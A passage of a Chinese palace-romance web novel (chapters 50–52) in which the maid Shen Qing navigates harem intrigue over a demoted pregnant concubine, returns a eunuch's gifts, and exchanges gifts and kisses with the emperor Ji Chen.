皇后迫不及待接着问:“那何贵人呢?她虽有错,但身懷龙裔,若此时申斥,恐怕会引得胎气不稳。” 作为国母,纵然想拿何贵人开刀,但首先要顧忌的还是她腹中的孩子。 皇后眼中闪过晦暗。 沈青情绪回落,她兴奋的太早了,何贵人懷孕,便是皇后有所打算,也得依照着皇上的意思。 妃子一旦懷孕,那便是未来皇子生母,已经不能按处罰嫔妃的方法来处罰怀孕嫔妃。 也怨不得何贵人要冒着皇后记恨的风险出手,她怀着孕,本身就是个底牌。 何况算计皇后身邊区区一名宫女。 况且皇上膝下子嗣不丰,他虽然年轻,也要多在子嗣上看重些。 不过何贵人为何要使人陷害她?沈青有点想不明白,何贵人她见过几次,是个有野心且聪明的,当日太后宫里,她因有孕并不在。 所以从开始怀疑时,沈青就没想到过何贵人,毕竟同属皇后阵营,理应戮力同心,即便做不到,也不该朝自己人身上使计谋。 她难道就没想过事情暴露,皇后如何看她?还是说笃定皇后明知真相也会保她而放弃沈青? 纪宸的目光扫过沈青略显郁闷的脸上,眸光轻闪,对皇后的话心中有了答案。 “何氏当初升位太快,以至于被养大了野心,尽学些算计手段,皇子公主母妃不应是这样的人。既然查清楚了,便将她降回才人,若顺利生产,才人之位足矣,若腹中孩儿不能安然诞下,说明位份高了,理应降成宝林。” “将这段话原原本本复述给何才人听。” 沈青惊讶地睁大了眼睛,下意识抬头,猝不及防撞上了皇上的视线,或者说纪宸一直都若有若无在看她,在观察她的反应,偏她感触不到。 如果是因为她而选擇惩处何才人……一想到这种可能,沈青就不知该如何是好,不自觉咬着唇,心脏微微酸软,悄然红了耳根。 偏爱确实有能动摇人心的本事。 皇后同样愕然,再怎么说何才人还怀着孕,说皇上不顧及她腹中胎儿吧,又不允许她伤心过度失了孩子,所以预设了宝林的位份当作惩罚。可若说皇上顾及未出世的皇二子或是长公主,又着实不像,这道命令下去,完全是戳着何才人心窝来处罚。 宫里女人最在意的不就是位份和孩子么……这般想法不过一个晃神,皇后称是并道歉:“当初是臣妾思虑不周,想着何才人有孕有功,才想将她提拔为贵人,想着日后这皇嗣养在生母处,生母的位份注定不能低,不若提前奖赏何才人。却未曾想何才人的德行有亏,并不能使她居于高位。” 皇后确实有意拿成为一宫主位来讓何才人更加忠心,但何才人心大,竟想插手她宫里。 这是皇后绝不允许的,也不能容忍的。 这亦说明何才人不好掌控,不若早早打压,不叫她有仗着皇嗣复起的机会。且听皇上的意思,如果何才人生下孩子,会给那孩子重新择一母妃。 “你为何才人周全考虑本无错,要怪也怪何才人自己。”纪宸轻飘飘一句话止住了皇后自责之语。 屋外的风波已接近尾声,章嬷嬷和金嬷嬷皇上必是要带走,皇后带着大皇子恭送皇上离开。 然后转身对沈青道:“今晚大家都惊骇过度,伺候大皇子的宫人嬷嬷,赏些金银以作安抚,你将这个消息告诉他们。” 沈青领命刚要走,便听皇后叫住她,忽然道:“沈青,你是本宫最信赖的人,本宫不希望有一天你会像何才人这般背叛本宫。” 其实将何才人保出这场风波不难,但她心中不喜何才人的作为是一回事,在何才人与沈青之间选了后者也是事实。 在这个过程中,她也闪过念头,保何才人,与沈青离心,亦或者与何才人一刀两断,讓沈青忠心不二。 这很好抉择,她选了后者。 何才人这枚棋子废了,皇后手上真真切切处于无人可用的状态,然这一批新妃只剩章才人或许可为她一用,其余宝林中更是没什么出挑的。 “奴婢惶恐,奴婢效忠的唯有您与大皇子,亦绝不会做出背叛之举。”沈青说第一句话时声音还有点浮,完全是皇后发问,她根据本能回应的。但很快她便语气坚定,目光灼灼,虽未看向皇后,但满是坚毅的小脸上讓人知道她的话做不得假。 沈青知道,在这种时候最不能动摇皇后对她的信任。 皇后的信任是她所珍视的东西,是她进宫后得到过最好的东西,她不能让这份信任错付,索性她也没成为嫔妃的想法,虽然皇后可能不在意她成不成嫔妃。 皇后这般需要她承诺,不过想吃颗定心丸,让她忠心照顾大皇子。 尽管讲究用人不疑,但金嬷嬷和章嬷嬷的事,让皇后担忧起大皇子的安危了。 皇后闻言露出松弛的笑容:“本宫信你。” 当晚,皇后带大皇子一起睡,沈青传达过皇后命令后,便将剩下的两名奶嬷嬷带到皇后寝殿。 一夜无事。 翌日,昨晚在大皇子处皇上下达的命令抵达了何才人住的宁辉苑。 从贵人降为才人,即便是因为不小心掺和进了大皇子险些遇害中,何才人也不能接受。 她当即就想去找皇上皇后,身边的应春焦急道:“主子,您怀着身孕,先仔细着肚子里的孩子,其他的我们从长计议!” 何才人落下两行清泪:“孩子?一个让我维持在才人位份上不动的孩子?” “皇后好狠的心啊,不过一个贱婢,皇后居然在沈青和我之间选择了沈青,难道我还不如一名宫女吗?” 应春也悔恨道:“当初我们就不该听蔣才人的撺掇,呸,想她一个才女,竟将这份才学用在游说主子上!” 何才人默默垂泪,她再聪明有再多的野心,也不过一个十六七岁的小女孩,在蔣才人拿沈青的绝色容颜激她时,她竟真起了试探的心,害怕沈青一朝成为嫔妃,取代了她在皇后身边的待遇。 沈青早早跟在皇后身边,深受皇后信赖,又长了那样一张使男人女人垂怜喜爱的脸,皇后将这样的人放在身边,怎能不让她怀疑皇后有将沈青引荐给皇上的可能? 但是现在想想,贤妃身边尚有林嫔和蒋才人,德妃身边有李美人和楚贵人,皇后也不可能只有她一人,不是沈青也会是别人。 可惜她的做法无异于背叛,皇后放弃她似乎也理所应当。 何才人摸着肚子,在应春一声声振作与冷静下,她思索起蒋才人的目的。 蒋才人除了去贤妃宫里,其他时候不爱到处走动,索性背靠贤妃,宫中的奴才无人敢怠慢她。那日她主动来宁辉苑找她,更大可能是奉了贤妃的命令,可她那时除了皇后,还有什么值得贤妃图谋? 何才人目光落到自己隆起的肚子上。 终是有了答案。 “若让我与皇后离心是第一步,下一步就该来抢我的孩子了。” 应春初听时不明白:“主子您在说什么……”再一想便猛然反应过来顿住了。 何才人用哭的红肿的眼睛看向应春:“你去代我向皇后请罪,说我被蒋才人迷了心,现下愧疚难当,辜负了皇后的信任,不敢乞求皇后原谅,愿当安插在贤妃身边的一枚棋子。” 应春怜惜地看了主子一眼领命离开。 第50章 第50章宫女五十日 坤寧宫中,在一旁听完應春所说的沈青,目光一闪,看向皇后。 她不想皇后重新任用何才人,何才人纵然对皇后如旧,但心底始终会记恨她。沈青再与世无争,也不愿一个对她有怨的人重登高位。 應春对皇后讓一些不近身的宫人离开,偏偏留下沈青,而感到脸上火辣辣的。 自家主子算计沈青时她也旁观了整个过程,而在来之前何才人也在口口声声唤沈青为贱婢。 先前有九成把握皇后会同意主子的提議,现在沈青在这,她反倒不确定了。 不过皇后接下来的话 讓應春眼睛一亮,皇后双手交叠于身前,长长的指甲上染着凤仙花,她启唇道:“何才人的提議本宫同意了,回去告诉何才人,本宫会保她至生产时无忧。” 不叫生了皇子皇女但生母丧命的事情发生。 旁的她就不能保证了,她已经被明明受了她的提拔却反过来害大皇子的何才人恶心坏了。 无论何才人参与大皇子的事是有意无意,亦或是贤妃在背后捣的鬼,让她和何才人彻底离心,皇后对此也不想细查了,通通按不怀好意处理。 再说了,何才人难道不知沈青是照料大皇子的吗?陷害沈青多半要涉及大皇子。 还是说知道了也不在意? 应春不知皇后言下之意,闻言一喜:“奴婢叩谢皇后娘娘,娘娘万福金安!” 待应春退下后,皇后单独将沈青留了下来。 不需问,皇后便迎头一句:“你可知本宫为何同意此事?” 沈青深思熟虑道:“何才人于娘娘有用。” “若只论有用无用,满宫的人都于本宫有用。皇上已经对何才人失了意思,她往后的恩宠兴许连宝林都不如,有个孩子,她还能为这个孩子在这宫中苟延残喘,这是本宫对她报复中很小一步,往后,有她痛苦的,且看来日方才长。”皇后眼中无悲无喜。 宫中的皇子注定不会少,既然如此,皇后对何才人这个未出世的孩子失了先下手的意思。 沈青詫异之余又觉得正常,以皇后对大皇子的重視,再怎么疯魔都不为过,不过是准备却还未出手对付一个低位嫔妃,对于皇后这个尊位来说算不得什么。 恰如何才人对她这般,因为看不上,才出手肆无忌惮,但天道好轮回,这个世道,谁也逃不过被更高位者俯視。 “你觉得本宫……恶毒吗?”皇后眼眸起了波动,那道视线盯到沈青身上,想要表现的不在意而移开,一息不到便又挪回沈青脸上,不错过她微小的表情变化。 沈青輕笑一声,目露不赞同,詫异道:“娘娘怎说这种话?您保何才人母子平安,这简直是菩萨才会做的善事,孩子是何才人的希望,有希望的活着總比一具行尸走肉强。先帝后宫中比何才人差的比比皆是,且这也是何才人主动所求,總不能您让何才人得偿所愿反倒不对了。” 沈青太真诚了,以至于皇后很輕易就被她说服,脸颊微赧。 “但本宫总觉得这次皇上对何才人的惩罰太过,皇上不是那种不看重皇嗣生母的人。”皇后眉梢浮起猜疑,越说越觉得如此。 【不然当初皇上不会同意我提议何才人连升两级的事,既同意当初必然是抱着皇嗣还是要生母来抚养的打算。】 昨日她的请罪之语不过是时时刻刻在全皇上的颜面。 皇上是天子,任何时候都不会有错。 皇后犹疑的目光落到沈青脸上,沈青困惑不已:“娘娘?” “你与王积贵可再有联系?”皇后问。 沈青迟疑地点了点头,昨天之前是有的,但往后,不管是为了她,还是王积贵,最好还是减少联系为妙。 不然皇上感兴趣的宫女与手底下所看重的太监有联络,那皇上是睡也睡不安稳了。 她更是不能去找皇上为王积贵昨日的欺上瞒下求情,因为那不是在祈求赦免,而是在加速覆灭。 “糊涂!”皇后轻喝一声,将沈青一惊,目光不安却仍是困惑地看向皇后。 她就说,皇上怎么会重罰何才人,原是王积贵在为了沈青从中周旋,他们乾清宫的奴才最知天子的心思,话语上稍加点缀便能让皇上厌烦某个人,甚至还不留下丁点痕迹。 他们想在皇上面前幫一个人时,润物细无声便能达到目的,前朝的重臣后宫的宠妃,没谁不贿赂过他们。 自然,若是被看上,亦会被视作囊中之物,所有的馈赠都是有代价的。 不过好在她是皇后,若是她想,轻而易举就能帮沈青避免,且皇上是不喜太监和宫女在一起,不在他眼前的他管不到,但伺候他的,皇上眼中便揉不得沙子了。 “王积贵是不是给过你東西,且对你言辞温和,进退有度,亦会幫你解决麻烦?” 沈青一思索,好像真是,便点了点头:“他送过我一匣子金锭与一支玉簪。” 金锭是去年正月十五之后送的,补的是那顿食物的礼物,玉簪是七夕送的,因…… 七夕! 宫中宴席不少,找机会相见不一定要七夕宴席时,而王积贵又不可能不知道七夕意味着什么,但他单独和她相见了,并赠了一支玉簪。 她一直以为王积贵是把她当成小辈,当成妹妹,才赠玉簪,然而却忽略了那日是七夕。 现在想来,王积贵的心意是那么明显,见她迟钝竟也未点破,只笑着收下她那不值錢的草编。 而她在昨日还用祭奠王积贵送的玉簪为理由搪塞皇上,偏王积贵还冒着受责罚的危险帮自己解围了。 沈青硬着头皮道:“玉簪是他在上次七夕时送的……奴婢没意识到那日的特殊,我好似不知不觉中辜负了他。” 她原以为自己十五岁只是个小女孩,但在古人眼中,却是可以谈婚论嫁了。 第一次意识到是皇上耐不住性子像要吞了她似的吻,第二次便是现在了,后知后觉。 若是知道后来会与皇上纠缠,那支簪子她就不会收下,无端给王积贵惹祸上身。 沈青愁容满面,想伸手揪一揪头发,但手指摸上盘好的发髻又放了下来。 皇后先是吃惊于沈青所说的,毕竟王积贵实在是个不见兔子不撒鹰的人,没将人弄到手里,又怎么会为人百般周全,但再一看沈青即便愁眉苦脸,也仍不破坏丝毫美感的脸庞,便觉得正常了。 王积贵再是个公公,也是个男人。 且现在别看皇上身邊的錢全忠和钱继深受重用,王积贵隐在乾清宫,名头不若前者响亮,但皇上还是太子时,人人皆知他王积贵。 王积贵的名字是他自己起的,当时的皇上还是稚童时挑选太监,问道王积贵的姓名由来,王积贵昂首挺胸,说是我自己取的,纪宸听到后便当场收下了他,纪宸最不怕的就是人有野心。 而王积贵的能力也颇强,从一声声小贵子变成了王公公,又变成了王大公公,俨然是皇上身邊的红人,后来皇上登基,他退至乾清宫,低调起来,鲜少随皇上来后宫,但一旦跟在皇上身边,有事必然吩咐他去查,由此可见皇上多么倚重他。 “找人将東西送回去,你不必出面。”皇后思虑良久,如是说道。 反正沈青总在坤寧宫,王积贵再厉害,也不能硬闯坤宁宫。 沈青点头:“但他亲手磨的玉簪碎了,换算成金子也抵不过心意,且他昨日帮我,这礼是不是要厚上两倍?” 当断不断,必受其乱。 见沈青想的明白,皇后颔首觉得可。 下午时沈青将全部家底翻出来,大方地将金银分成一大一小两摞,多的自然是王积贵的,少的是留给自己的。其中多有不舍,但想到王积贵昨日先是向皇上主动承认,后又帮她把章嬤嬤放在她屋里的朱砂移了位置,便又神情坚定,这是人家該得的!- 另一厢,即便吃了挂落,王积贵仍不见丝毫急躁。 昨日的主动暴露,何尝不是以退为进?若等皇上腾出手料理他,那才是自寻死路。 他所做的事,皇上应有所察觉,他唯一不該的便是未提前将事情报与皇上,他原本以为这事只是何才人联络章嬷嬷来陷害沈青,一个嫔妃主子对一个宫女出手, 在这宫廷中实在是微末小事,本也无需上报,但偏偏不止他一个瞧出了小宫女的可爱,皇上也对沈青颇为上心。 从什么时候开始的,王积贵已经无从考究,但前段时间皇上的疏远已经有了答案。 他唯一能做的只有把沈青当作妹妹。 他一个太监有个可爱妹妹很正常吧? 王积贵虽清楚怎么选才对自己有利,只是心中难免会遗憾。 而等收到沈青托人送来的一匣子金银宝贝,眼前似乎浮现出那张惊慌无措又不舍的漂亮小脸,他等到了沈青真正意义上的开窍,也不算笨。 王积贵叫来王定,踢了他一脚,脸上不见丝毫阴霾,声音甚至还带着欢快:“愣着干什么?东西送回咱妹妹手里。” 王定实在是摸不清他干爹的心思,闻言也只能应下:“是,干爹!” 等王定抱着匣子走到门口,王积贵又叫住他:“算了,匣子这么轻,再添点东西进去吧。” 王定:“??”他眼睁睁看着王积贵往匣子里又放了数根大金条。 不是,干爹怎么送东西送的这么俗?宛如他当初。 沈青一看就是个喜好风雅,文气娇弱般的女子。 王积贵肯定道:“她绝对喜欢。” 王定怀疑自己在乾清宫被当个驴子一样用,但日渐精进的审美出了问题。 不过金灿灿的黄金确实惹人喜爱。【你现在阅读的是 】 50-60 第51章 第51章宫女五十一日 因金嬤嬤计划中的一环有洒扫的宫人打扫不仔细,所以大皇子身边负责此事的宫人受了罚,重新调了宫人来大皇子處。 奶嬷嬷不足仍是个要緊的问题,皇后便派青古到大皇子處帮忙,等再寻的奶嬷嬷到了再讓青古回去。 沈青身上的担子一轻,便琢磨起绣荷包的事,她绣艺不娴熟,注定要费很多时间,而皇上给的荷包,根本无法直接拿出来,只能在屋子里偷偷绣,为了不在最后挑灯夜战,她几乎抓住了每次可以利用的空闲时间。 送去王积贵處的匣子沉了许多被重新送回来,她更是不知该如何是好,只能装作好巧啊,她也是一直把王积贵当作和王定一般的哥哥的。 一时之间连最喜歡的黄金都没兴致寶贝了。 好在半个月后,沈青终于将荷包绣了出来,像是完成了一件大事般轻松。 从绣荷包的事情中探出头,上元节已经过去了,她没有出去看花灯,也没有主动去找皇上。 寻了一个皇上不在乾清宫的时候,沈青去乾清宫将荷包交给了钱继,讓他再转交给皇上。 “姑娘不親自送嗎?”钱继皱眉。 沈青佯装困乏:“我真是太困了,为了这个荷包熬了几个大夜,现在皇上不在乾清宫,我再等就等睡着了,不如回去补一覺。” 大皇子处重新走上正轨,需要她的地方不多,空暇时间大大增加,即便是青天白日也可以偷偷摸鱼。 钱继忽然笑道:“姑娘是从哪儿听到的消息?皇上现下就在乾清宫。” 沈青一愣,脱口而出:“皇上不是在湖亭喂鱼嗎?” 她可是事先打听好了才来。 “那是透露出的假消息,皇上新得了一套碧玺镶粉寶石花头面,粉色宝石花瓣铺满中带着叶子的翠绿,那真是玲珑剔透,精美绝伦,皇上还未敲定送给哪个娘娘,又半个月未去后宫,宫里的娘娘自然心急,想偶遇皇上。” “于是我便想了个主意,透露些皇上假的行踪,好叫娘娘们不要派宫人来乾清宫频繁打搅皇上。” 沈青目光幽怨地看向钱继,原来假消息是他放出来的! 钱继唇角扬起,他就说这个方法有用,既分散了嫔妃的注意,又将皇上想见的人引了过来。 这半个月来,因是年后,皇上很忙,不是祭祀就是设宴,忙到连大皇子处都未踏足,皇上不去,沈青也不来,让皇上直呼没良心。 虽说这句话的时候未点名道姓,但钱继知道说的是谁。 上有所忧,下必急之。 所以他不得不出此下策。 钱继不收荷包,只一味暗示明示沈青親自送到皇上手中,沈青没有办法,只能跟着钱继走进去。 好在进去的途中,没见到几名乾清宫的宫人。 这自然是钱继在与沈青说话时便打了个手势,清了場,他知道沈青脸皮薄,将東西主动送来已是大不易,若人一多,她说不得会扭头就走。 这就枉费了他的一番筹划了。 沈青低头看着手上的两只荷包,有对比方知她绣的有多顯拙劣,不由伸手按了按她绣的那只。 把这只荷包亲自交到纪宸手里,光是想想那副場景,她都要当场昏倒了。 现在是申初,一般这个时候劳累了半天的纪宸就会干些放松的事,或喂鱼,或骑马,或找嫔妃皇子,或欣赏古玩。 纪宸将私库中的名画翻出来,搁在桌子上,对比墙壁上挂了有一两个月的画作对比,然后吩咐奴才将手上这幅画替换掉墙上的。 沈青进去时便看到这一幕,青年穿着一身湖蓝常服,头上戴着一个简单玉冠,举手投足间尽顯洒脱,不像是个皇上,反倒像名贵公子。 沈青一踏进殿中,纪宸就朝她看了过去。 那道即便不掺杂着什么也天然有压迫感的视線让沈青的呼吸都稍窒了一下,她垂丧的目光于纪宸的视線撞上,怔怔地不知为何没有移开视线。 等纪宸朝她走近,钱继和方才的奴才已悄然退下。 “是朕罚了王积贵,让你不高兴了?”纪宸思来想去,除夕过后以沈青的性子未主动找他道谢必是什么事牵绊住了。 当日下午,沈青给王积贵送東西,却未给他有分毫表示。 他不主动去大皇子处,沈青便也不从坤宁宫挪窝,俨然是要把自己悶死的架势。 因此,纪宸的语气便带上了情绪。 沈青闻言将荷包捧出来,仰头道:“奴婢这半个月就干了这么一件事,奴婢也从未打探过乾清宫的事,更不知您什么时候因什么事而怎么处罚了王公公,您这么说奴婢真覺得冤枉。” 荷包被捧在纪宸面前,虽然已经是尽她所能做到最好,但早已被宫中绣娘养刁了眼的纪宸嘴角微微抽搐,不快蓦地一散,调侃道:“看得出并未假手于人。” 沈青胸膛中顿然生出股恶气,她忙碌了半个月才得这一件成品,居然还挑三拣四,于是收回手,悶声闷气道:“既然皇上瞧不上,奴婢这就去把它烧了。” 她匆匆行礼准备离开,却被一只大手握住了手腕,另一只手掰开她攥紧的手掌拿出那只荷包。 且纵然得手纪宸那只握着她手腕的手也不曾松开:“谁说朕不要了,送的東西哪有拿走的道理?” “还有,朕不是说过私下你不必自称奴婢?” 一口一个奴婢,哪像是她错了,分明在狠剜他的心,跟王积贵可以那般亲密自然,面对他却仿佛知道了尊卑礼仪。 好像没和他有私情似的。 “忘了。”沈青抿着唇,眼神四下游走,就是不去看纪宸,回答的纵然理不直,但气却壮。 纪宸无奈,拿荷包的那只手一松,荷包坠下,绳子却稳稳挂在他手指上。 “帮朕戴上。” 沈青后退一步,目露惊恐,飞快搖头:“不行,太丑了。” 其实也没那么丑,看久了就习惯了,但为了避免纪宸戴着这个去招搖,那还是果断承认这个荷包丑吧。 沈青越是抗拒,纪宸就越是执拗:“朕就要戴。” 且还是要沈青帮他戴上。 沈青目光控诉,迂回道:“这个荷包颜色不衬您今天的这身衣服。” 纪宸有理有据:“不衬才显眼。” 沈青几欲吐血,她多么想抓住纪宸将他这诡异想法晃掉,但这只能在心里想想。 她欲哭无泪:“您不要戴了,戴了那不是显眼,那是丢我的 脸。” 纪宸犹豫:“真这么严重?” “您就是笑话我是吧,笑话我的女红烂成这样,所以不惜以身入局。我承认绣的时候将一些认不出的绣法去掉了,以至于显得敷衍惹得您不满,可这也尽了我最大的努力。” 沈青越说越委屈,勾起了她这近半个月的心酸,他就是成心刁难她! 他难道不知道他的贴身之物有多复杂吗?难道不知道宫里技艺高超的绣娘都緊着他来吗? 沈青抱怨中偷偷瞪了纪宸一眼,以为他被这一串话冲击的愣神,没注意到。 纪宸哭笑不得,他真的只是想戴着,况且这荷包也没沈青说的那么差。 他也知道,沈青虽长了一张精通女红的脸,但他见过她为大皇子绣的东西,事先就明白绣艺或许不精湛,但绣出的东西,别有一番灵动。 “好姑娘,朕保证,朕绝无存心笑话你的意思。”纪宸将人拉近,诱哄道。 沈青目光怀疑,但脸上已经雨过天晴起来,她的脾气来的快去的也快。 她乘胜追击道:“那不然戴您原本的荷包,您放在我那儿的荷包我也带来了。” 沈青将纪宸的荷包拿出来,物归原主。 纪宸收到后,不可避免目光落到上面,默默将沈青绣的荷包与其对比,发觉沈青微微翘起唇珠,脸颊鼓起,便立刻将他原本的那个荷包撂到桌子上。 “朕还是喜歡你绣的,上面的龙看着就要活起来似的。” 沈青收起了小表情,扬唇一笑:“那也不能戴。” 纪宸哄着道:“不戴不戴。”说着将荷包宝贝般地收进了袖中。 纪宸拉着沈青去别处,抱怨道:“你一直不来,东西都送不出去。” 说得仿佛他们多亲密,可方才,两人还各自憋着气。 纪宸领着沈青到地方,只见这里摆着一个妆奁,上面放着一面铜镜,上妆的东西应有尽有,旁边的桌子上放着数个盒子。 纪宸这才松开握着沈青的手腕,上前将最中间的那个大盒子打开。 一套粉色头面显露出来。 几乎是一眼,沈青就喜欢上了。 这个头面基底是银饰,上面用的最多的是粉晶,淡粉与深粉色交叠在一起,偏偏过渡十分自然,在一起组成的海棠花娇嫩而不失活泼,绿叶也点缀的恰到好处,不至于一眼看去被晃花了眼。 上面垂坠下的一串珠子也从最开始的小珍珠逐渐变成大珍珠,且颗颗饱满莹润。 沈青看得移不开眼:“好看。” 这大概就是钱继所说的碧玺镶粉宝石花头面,怨不得娘娘们即便堵皇上也要将这套头面要到手。 纪宸闻言不语,打开旁边略小的几个盒子,一件粉色珠翠手串映入眼帘,紧接着,又是些项圈、耳环、玉佩、手镯。 有些不是粉色的,但恰好配这套粉色宝石的头面。 每件都十分精致,用料讲究,做工顶级。 “朕还将一匹湘妃色莲纹云绫锦命人制成了衣裳,穿给朕看,好吗?” 沈青从纪宸那双似带着蛊惑的眼眸中挣脱,艰难摇了摇头。 这哪是穿一件衣裳这么简单,分明是诱惑她走上当才人的不归路! “这些都不喜欢?”纪宸纳闷。 沈青诚实道:“何止喜欢,简直太喜欢了,但我要坚守住我的本心。” 如果纪宸强来,那她的想法本身就不重要,如果纪宸不强来,她便一门心思等着被放出宫。 区区诱惑,忍住又有何难? “既要坚守本心,何不看向朕?”纪宸觉出了好笑。 沈青不知何时黏糊糊的目光又落到了那些首饰上,目光尤为深情。 第52章 第52章宫女五十二日 “看向陛下啦。”沈青的视线恋恋不舍地移向纪宸,臉上笑颜依旧,目光皎洁如月,看得出是发自内心的高兴。 纪宸自然知道使她愉悦的非他,而是这一堆俗物,不过东西是他寻得的,四舍五入,也是他讨了沈青的欢心。 于是他伸手点了两下自己的嘴角,目光如炬。 气氛都到这儿了,沈青自然知道纪宸暗示的是什么,而且他带她进来时,说的是要送她东西,大抵就是这些了。 不收,她心疼。 收吧,又实在贵重。 沈青看似在摇摆,实则在思索她屋子里能不能放下这些东西……能倒是能,但前提得打一个大箱子。 这时,纪宸已经等得有些不耐,主动凑近,垂眸盯着沈青的朱唇看。 这么近的距离,不需沈青费力,稍微往前靠一下,两人的唇瓣就能擦过。 沈青见此也不再迟疑,蜻蜓点水般印在了纪宸的薄唇边上,唇瓣与肌肤相贴的触感一划而过,她往后仰头:“好了。” 纪宸露出不满神色,轻声指责道:“敷衍。” 沈青的双眸灵动,带着恶作剧般的俏皮,却又分外无辜说:“可我就是遵从着陛下的意思来的。” 沈青身上有股矛盾的气质,明明是名宫女,本该谦卑内敛,她也确实如此表现,但纪宸可没发现其他宫女胆敢戏弄他这个皇上,偏她敢,戏弄完还笃定他不会生气。 这种俏皮仿佛生来就有,无论多长时间的打壓都不会消散,只会隐藏起来,只在她高兴时自然流露出。 所以讓他这个皇帝吃瘪,沈青是高兴的。 “促狭鬼。”纪宸伸手点到沈青的鼻子上。 沈青想要大呼冤枉,她的意图这么明顯吗? 不过纪宸虽这么说,但他眼中的宠溺却是那么明顯,换一个人就要溺毙在他的眼眸中了。 沈青閉上嘴,盯着他看,能看清他根根分明的睫毛。 可恶啊,有权势又有俊美的臉庞,这种男人就该吃吃亏,她做的这点算得了什么? 纪宸转而说起另一件事:“那日朕本可以将何才人轻拿轻放,但想到她算计的是你,便做主降了她的位份,于这件事上你可有所表示?” 沈青小声道:“您是皇上,明察秋毫不是您應该做的吗?难道当日何才人算计的不是我,您就可以轻拿轻放了?” 纪宸:“……” 那是自然,何才人有孕,他再薄情也不会去惩治一个有孕的妃子,最多是心中添許多不喜。 但他若这么说了,定会破坏沈青心中他英明神武的形象。 在平头百姓心中,皇帝可是比青天大老爷还要公明正大的人。 沈家非官非贵,沈青在那种环境中长大,自然带着对皇帝这个身份仰望般的期許。 纪宸说不过沈青:“总之,朕帮了你,你也该对朕有所感谢。” “您什么都有……先说好,不能再是绣东西!”沈青迅速警惕起来,她这半个月真是被折腾怕了,“为了绣那个荷包,我的眼睛都快熬瞎了。” 不往严重了说,怎么能打消皇上的可怕念头? 纪宸还真被沈青的话唬住了一息,忙去看她的双眸,好到连道青黑都没有,便知道她是夸大其词。 因是皇上,身边人说话莫不是斟酌许久,用词严谨,生怕误导了他这个皇帝。 而沈青,便没这个顾虑了,那种感覺,仿佛真把他当成了情郎,还是见不得光的那种。 纪宸于是也應和道:“瞧着眼睛是真紅了不少。” 他曾见过父皇也是这么顺从昭贵妃的,可见一段感情中,无论对错与否,小娘子总是对的。 沈青听到这话却大驚失色起来,忙扭头去看铜镜中的自己,好在,眼睛还是很漂亮,并未紅成兔子,也不是纪宸说的红了不少。 她口不择言抚着胸口迁怒道:“您吓我做什——” 话还未说完,就被掐着腰抱起坐在了长桌上,双脚离地悬空,桌上的盒子在她坐上去之前被扫到了边上。 慌亂之中,沈青只能伸手搂住纪宸的脖子。 被驚得呼吸急促又不明所以地看向他。 不过这次是实实在在的平视。 纪宸像做成了一件大事般畅怀: “低得朕脖子酸,好了,我们还是来谈谈如何感谢的事吧。” 他的目光仍流连在沈青的唇上,刚才的根本不够,连邪火都壓不下去。 沈青对纪宸的目光感到畏惧。 这就是她不愿意来乾清宫找纪宸的原因,谈情说爱什么的太扯淡,他最喜欢的还是親吻。 亦或者别的,但这晴天大白日,许是不会。 和纪宸親吻得先做心理建设,不然就会像上次一样被逼的溃不成军,连呼吸都被掠夺了。 沈青伸手扶上额头,待定了神,轻合双目,朱唇粉面央求道:“皇上能别像上次那样凶吗?” 即便过去了一个月,她想起来仍心有余悸。 沈青是唯一一个会在这事上提要求的,纪宸诧异之余不由反思起自己,他上次确实急躁了些,不会是因为这件事沈青才不愿意来见他的吧? 一想到这种可能,纪宸便不由失笑。 实在是个嬌嬌娘子。 “既然这么怕,那这次就由你来亲朕,不许像方才那样敷衍,时间不能短了,更不能不动情。” “要么卿卿情态显露,要么讓朕意亂情迷。”纪宸掷地有声,如是说道。 沈青睁开眼,脸上迅速蹿红,他怎么能将这种话说的这么大声? 简直是、不知羞耻! 沈青羞赧地局促起来。 可她愈是这样,纪宸便愈是覺得爽快,看她下次还敢不敢作弄他! 皇帝金口玉言,说出的话自然没有收回去的道理,便目光灼灼盯着沈青,等她点头。 伸头是一刀,缩头也是一刀。 若自己掌握主动权,总归不会落入上次那般境地,沈青轻轻点了点头。 纪宸大喜过望,却听沈青命令他道:“閉眼。” 许是觉得语气太过颐指气使,觉出了不妥,沈青换言道:“皇上,您闭上眼,不然任我千般手段,在您的目光下也不好施展啊。” 纪宸双手扶在沈青的两侧,一个将人拢进怀里的独占姿势,闻言却听话地闭上了眼,因看不见,皮肤上的触觉在这一刻无限放大。 沈青确实没有敷衍,因为她的第一步就是舔舐他的唇瓣。 湿润在两人唇间蔓延,她像小猫一样慢慢逗弄着庞然大物,她的两只手臂搭在纪宸的肩膀上,随着时间的推移慢慢放松下来。 如果说纪宸是狂风暴雨惊涛骇浪,那沈青便是和风细雨绵绵缗缗。 …… 沈青舌根发麻的仰头离开与纪宸的接触,纪宸下意识追逐而上。 沈青垂眸觑了纪宸一眼,往日她都要胆寒的皇帝,此刻却不是很体面,早已乱了的神情,微蹙的眉梢显出抓挠不住的急躁,薄唇染了一层晶亮…… 她办到了! ——答应纪宸让他意乱情迷。 沈青眉眼显出几分骄傲,经验不多但能做到这份上确实值得骄傲。 纪宸睁开眼,眼中是浓浓的欲求不满。 沈青却饶有兴味地对他说:“等我找宫人打一个大箱子,你便让钱繼将这些首饰偷偷送到我那里,好不好?” 她尾音上翘,娇声娇气地撒娇,完全看不出刚才驾驭全局般引导他时的信手拈来。 纪宸能怎么说?自然是答应下来。 这些本就是他特意找出来送给沈青的,好让这个心肠硬邦邦的丫头见到这些就能想起他来。 而仅以这些就诱使沈青心甘情愿当他的嫔妃,他从始至終就知道不可能。 沈青避开纪宸如狼似虎的目光,推开他的胸膛,从桌子上跳下来,腿上软绵绵的,差点跌倒,明白不能再在这里呆了,再呆下去,那就是她所不能控制的了。 “我先告退了?”沈青指了指门那里,商量道。 纪宸纵是再不想,也只得放她离开,但是积压的久了,他也变得不像往日的他,促狭地轻移沈青的下巴,让她看向铜镜中状似相拥的两人。 不止纪宸显得糟糕,沈青也发丝凌乱,残存的口脂沾到嘴角,脸上一片绯色。 沈青:“……” 她立刻气急败坏到脖子也红了。 纪宸忍不住愉悦地笑起来。 最終沈青在乾清宫净过面,将发丝规整地梳上去后才离开。 而她离开后不久,纪宸手中便握着她用过的帕子,想那衣襟不经意敞开露出的皎白深刻的锁骨,想她眼尾的一抹红,想她觑人时自上而下未来得及收回的目光……然后犯了错。 太监们低头将一应用具捧上来,纪宸拿帕子净了手,换上干净衣衫,眉头舒展,不必深言的舒爽- 沈青回到大皇子处,见大皇子被新来的奶嬷嬷照顾的很好,便也放心地繼续给他做小玩具。 给大皇子做东西,大皇子可不会嫌弃什么。 